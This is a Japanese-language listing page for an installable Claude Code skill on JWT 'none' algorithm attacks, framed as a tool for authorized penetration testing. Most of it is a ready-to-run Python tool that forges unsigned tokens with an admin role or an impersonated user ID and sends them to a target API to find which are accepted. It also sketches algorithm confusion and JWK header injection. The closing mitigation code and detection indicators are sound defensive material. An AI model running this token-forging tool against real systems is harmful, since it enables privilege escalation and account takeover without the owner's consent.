mcpField
P
performing-jwt-none-algorithm-attack

performing-jwt-none-algorithm-attack

github.com/mukul975セキュリティ35.2k156 回インストール8 週間前に更新
リポジトリ

performing-jwt-none-algorithm-attack について

JWT を使うシステムの認可済みセキュリティ評価向けスキルです。`none` アルゴリズムによる署名検証回避と関連手法、検知の手掛かり、緩和策を解説します。

主な機能

  1. 01JWT の構造とアルゴリズムの分析
  2. 02`none` による署名検証回避のテスト
  3. 03アルゴリズム混同と JWK 注入の紹介
  4. 04検知の手掛かりと緩和策の説明

活用シーン

  1. 01JWT 認証アプリケーションの監査
  2. 02許可アルゴリズム制御の検証
  3. 03JWT 署名回避が疑われる事案の調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attack

インストール後、Claude Code で/performing-jwt-none-algorithm-attackを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

JWT None アルゴリズム攻撃の実行

概要

JWT None アルゴリズム攻撃は、alg ヘッダーが none に設定されたトークンを受け入れる JSON Web Token ライブラリの脆弱性を悪用し、署名検証を実質的に回避します。サーバーが "alg": "none" を含む JWT を処理すると、暗号署名を検証せずにトークンを有効とみなすため、攻撃者は権限の昇格、ユーザーのなりすまし、有効期限の延長など、任意のクレームを含むトークンを偽造できます。この脆弱性は 2015 年に Tim McLean によって初めて公表され、複数の言語の JWT ライブラリに影響を及ぼしました。

使用する場面

  • JWT None アルゴリズム攻撃を実施するセキュリティ評価を行う場合
  • 関連するセキュリティインシデントに対するインシデント対応手順に従う場合
  • 定期的なセキュリティテストや監査を実施する場合
  • 実地テストを通じてセキュリティ制御を検証する場合

前提条件

  • 認証または認可に JWT を使用する対象アプリケーション
  • HTTP リクエストを傍受して変更する手段(Burp Suite、mitmproxy)
  • トークン作成用の PyJWT ライブラリをインストールした Python 3.8 以降
  • JWT の構造(Header.Payload.Signature)に関する理解
  • 対象に対するセキュリティテストの許可

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。自分が所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

JWT の構造

JWT は、ドットで区切られた 3 つの Base64URL エンコード済み部分で構成されます。

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

攻撃手法

ステップ 1:有効な JWT を取得する

Burp Suite またはブラウザーの開発者ツールを使用して、対象アプリケーションから正規の JWT を傍受します。

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
ステップ 2:トークンをデコードして分析する
import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
ステップ 3:None アルゴリズムを使って偽造トークンを作成する
#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."

    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value

        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})

        return tokens

    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })

        return results

    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}

        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]

        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})

        return results


def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)

    target_url = sys.argv[1]
    original_token = sys.argv[2]

    attacker = JWTNoneAttack(target_url, original_token)

    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")

    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()

    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")


if __name__ == "__main__":
    main()
ステップ 4:その他の JWT 攻撃のバリエーション

アルゴリズムの混同(RS256 から HS256): サーバーが RS256(非対称鍵方式)を使用している場合、公開鍵を知っている攻撃者は次の操作を行えます。

  1. alg を HS256 に変更する
  2. 公開鍵を HMAC シークレットとして使用してトークンに署名する
  3. サーバーは公開鍵を HMAC 鍵として使用して署名を検証する可能性があります

JWK ヘッダーインジェクション(CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

緩和策

# Secure JWT verification - always specify allowed algorithms
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

検出の指標

  • サーバーログに "alg": "none"(または大文字・小文字の違いを含む)を持つ JWT トークンがある
  • 署名部分が空、または欠落しているトークン
  • 通常のパターンからアルゴリズムフィールドが急に変化している
  • 同じセッションから、クレームが変更された(権限が昇格した)トークンがある
  • Base64 セグメントが 2 つしかないトークンを含む Authorization ヘッダー

参考資料

コメント